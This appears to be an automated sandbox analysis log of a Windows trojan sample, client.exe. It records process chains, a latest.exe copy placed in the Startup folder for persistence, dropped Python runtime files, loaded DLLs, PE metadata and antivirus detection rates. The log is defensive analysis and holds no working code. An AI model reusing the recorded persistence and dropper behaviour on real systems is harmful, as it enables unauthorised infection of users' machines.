Source: unicodedata.pyd.9.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: libscipy_openblas64_-c16e4918366c6bc1f1cd71e28ca36fc0.dll.10.dr	Static PE information: Number of sections : 11 > 10
Source: libscipy_openblas64_-c16e4918366c6bc1f1cd71e28ca36fc0.dll.9.dr	Static PE information: Number of sections : 11 > 10
Source: opencv_videoio_ffmpeg4100_64.dll.9.dr	Static PE information: Number of sections : 13 > 10
Source: opencv_videoio_ffmpeg4100_64.dll.10.dr	Static PE information: Number of sections : 13 > 10
Source: cv2.pyd.9.dr	Static PE information: Number of sections : 11 > 10

Source: python3.dll.10.dr	Static PE information: No import functions for PE file found
Source: python3.dll.9.dr	Static PE information: No import functions for PE file found
Source: python3.dll.0.dr	Static PE information: No import functions for PE file found

Source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs client.exe
Source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs client.exe
Source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140_1.dllT vs client.exe
Source: client.exe, 00000000.00000003.2084736627.0000017FED900000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibcryptoH vs client.exe
Source: client.exe, 00000000.00000003.2084736627.0000017FED998000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs client.exe
Source: client.exe, 00000000.00000003.2084736627.0000017FED998000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepython3.dll. vs client.exe
Source: client.exe, 00000000.00000003.2084736627.0000017FEE067000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepython312.dll. vs client.exe
Source: client.exe, 00000000.00000003.2084736627.0000017FEE067000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs client.exe

Source: client.exe, 00000000.00000002.4543036736.0000017FEA7C8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ;.VBPB}

Source: classification engine

Classification label: mal80.troj.adwa.winEXE@14/163@0/1

Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe

File created: C:\Users\user\AppData\Local\Programs

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7096:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6120:120:WilError_03

Source: C:\Users\user\Desktop\client.exe

File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704

Jump to behavior

Source: client.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\client.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: client.exe	ReversingLabs: Detection: 55%
Source: client.exe	Virustotal: Detection: 70%

Source: unknown	Process created: C:\Users\user\Desktop\client.exe "C:\Users\user\Desktop\client.exe"
Source: C:\Users\user\Desktop\client.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\client.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe C:\Users\user\Desktop\client.exe
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "latest.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\latest.exe latest.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\latest.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe C:\Users\user\Desktop\latest.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe"
Source: C:\Users\user\Desktop\client.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe C:\Users\user\Desktop\client.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "latest.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\latest.exe latest.exe	Jump to behavior
Source: C:\Users\user\Desktop\latest.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe C:\Users\user\Desktop\latest.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe"	Jump to behavior

Source: C:\Users\user\Desktop\client.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Section loaded: python312.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Section loaded: libcrypto-3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Section loaded: libssl-3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\latest.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\latest.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\latest.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\latest.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Section loaded: python312.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Section loaded: libcrypto-3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Section loaded: libssl-3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Section loaded: libscipy_openblas64_-c16e4918366c6bc1f1cd71e28ca36fc0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Section loaded: msvcp140-23ebcc0b37c8e3d074511f362feac48b.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Section loaded: libffi-8.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Section loaded: python312.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Section loaded: libcrypto-3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Section loaded: libssl-3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Section loaded: libscipy_openblas64_-c16e4918366c6bc1f1cd71e28ca36fc0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Section loaded: msvcp140-23ebcc0b37c8e3d074511f362feac48b.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Section loaded: libffi-8.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: client.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: client.exe

Static file information: File size 11687936 > 1048576

Source: client.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0xaf5200

Source: client.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: client.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: client.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: client.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: client.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: client.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: client.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: client.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python312.pdb source: client.exe, 00000000.00000003.2084736627.0000017FEDDDE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: k1k2k3X9_62_PENTANOMIALp.otherp.onBasisp.tpBasisp.ppBasismX9_62_CHARACTERISTIC_TWOp.primep.char_twofieldTypeX9_62_FIELDIDX9_62_CURVEfieldIDcurvebaseECPARAMETERSvalue.named_curvevalue.parametersvalue.implicitlyCAECPKPARAMETERSprivateKeyparameterspublicKeyEC_PRIVATEKEYec_asn1_group2fieldidcrypto\ec\ec_asn1.cec_asn1_group2curveEC_GROUP_get_ecparametersEC_GROUP_get_ecpkparametersEC_GROUP_new_from_ecparametersEC_GROUP_new_from_ecpkparametersi2d_ECPKParametersd2i_ECPrivateKeyi2d_ECPrivateKeyi2d_ECParametersd2i_ECParameterso2i_ECPublicKeyi2o_ECPublicKeycompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"3.3.2built on: Tue Sep 3 19:22:24 2024 UTCplatform: VC-WIN64AOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availablecrypto\init.cOPENSSL_init_cryptocrypto\bio\bio_lib.cBIO_new_exbio_read_internbio_write_internBIO_sendmmsgBIO_recvmmsgBIO_putsBIO_getsBIO_get_line BIO_ctrlBIO_callback_ctrlBIO_find_type source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: client.exe, 00000000.00000003.2084736627.0000017FEE067000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb\| source: client.exe, 00000000.00000003.2084736627.0000017FED85F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cryptography_rust.pdbc source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbDD source: client.exe, 00000000.00000003.2084736627.0000017FED998000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ossl_ec_GFp_simple_group_set_curvecrypto\ec\ecp_smpl.cossl_ec_GFp_simple_group_check_discriminantossl_ec_GFp_simple_point_set_affine_coordinatesossl_ec_GFp_simple_point_get_affine_coordinatesossl_ec_GFp_simple_make_affineossl_ec_GFp_simple_points_make_affineossl_ec_GFp_simple_field_invossl_ec_GFp_simple_blind_coordinatescrypto\buffer\buffer.cBUF_MEM_growBUF_MEM_grow_cleancompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specific.dllCPUINFO: crypto\initthread.cOPENSSL_ia32cap` source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\opencv-python\opencv-python\_skbuild\win-amd64-3.9\cmake-build\lib\python3\Release\cv2.pdb source: latest.exe, 00000009.00000003.3264025249.000001893CECF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.15 3 Sep 20243.0.15built on: Wed Sep 4 15:52:04 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_p
Source:	Binary string: bcrypt_rust.pdb source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bcrypt_rust.pdbD source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: client.exe, 00000000.00000003.2084736627.0000017FED7C7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb source: client.exe, 00000000.00000003.2084736627.0000017FED85F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cryptography_rust.pdb source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python3.pdb source: client.exe, 00000000.00000003.2084736627.0000017FED998000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: client.exe, 00000000.00000003.2084736627.0000017FED998000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp

Source: client.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: client.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: client.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: client.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: client.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: vcruntime140_1.dll.0.dr

Static PE information: 0xFB76EAA0 [Mon Sep 10 13:35:28 2103 UTC]

Source: client.exe	Static PE information: section name: _RDATA
Source: libcrypto-3.dll.0.dr	Static PE information: section name: .00cfg
Source: libssl-3.dll.0.dr	Static PE information: section name: .00cfg
Source: python312.dll.0.dr	Static PE information: section name: PyRuntim
Source: vcruntime140.dll.0.dr	Static PE information: section name: fothk
Source: vcruntime140.dll.0.dr	Static PE information: section name: _RDATA
Source: client.exe.0.dr	Static PE information: section name: _RDATA
Source: latest.exe.3.dr	Static PE information: section name: _RDATA
Source: latest.exe0.3.dr	Static PE information: section name: _RDATA
Source: latest.exe1.3.dr	Static PE information: section name: _RDATA
Source: opencv_videoio_ffmpeg4100_64.dll.9.dr	Static PE information: section name: .rodata
Source: opencv_videoio_ffmpeg4100_64.dll.9.dr	Static PE information: section name: .xdata
Source: all.exe.9.dr	Static PE information: section name: _RDATA
Source: libscipy_openblas64_-c16e4918366c6bc1f1cd71e28ca36fc0.dll.9.dr	Static PE information: section name: .xdata
Source: msvcp140-23ebcc0b37c8e3d074511f362feac48b.dll.9.dr	Static PE information: section name: .didat
Source: libcrypto-3.dll.9.dr	Static PE information: section name: .00cfg
Source: libssl-3.dll.9.dr	Static PE information: section name: .00cfg
Source: python312.dll.9.dr	Static PE information: section name: PyRuntim
Source: vcruntime140.dll.9.dr	Static PE information: section name: fothk
Source: vcruntime140.dll.9.dr	Static PE information: section name: _RDATA
Source: cv2.pyd.9.dr	Static PE information: section name: IPPCODE
Source: cv2.pyd.9.dr	Static PE information: section name: IPPDATA
Source: cv2.pyd.9.dr	Static PE information: section name: _RDATA
Source: vcruntime140.dll.10.dr	Static PE information: section name: fothk
Source: vcruntime140.dll.10.dr	Static PE information: section name: _RDATA
Source: libcrypto-3.dll.10.dr	Static PE information: section name: .00cfg
Source: opencv_videoio_ffmpeg4100_64.dll.10.dr	Static PE information: section name: .rodata
Source: opencv_videoio_ffmpeg4100_64.dll.10.dr	Static PE information: section name: .xdata
Source: libscipy_openblas64_-c16e4918366c6bc1f1cd71e28ca36fc0.dll.10.dr	Static PE information: section name: .xdata
Source: msvcp140-23ebcc0b37c8e3d074511f362feac48b.dll.10.dr	Static PE information: section name: .didat
Source: libssl-3.dll.10.dr	Static PE information: section name: .00cfg
Source: python312.dll.10.dr	Static PE information: section name: PyRuntim
Source: all.exe.10.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\win32gui.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\lxml\_elementpath.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy.libs\msvcp140-23ebcc0b37c8e3d074511f362feac48b.dll	Jump to dropped file
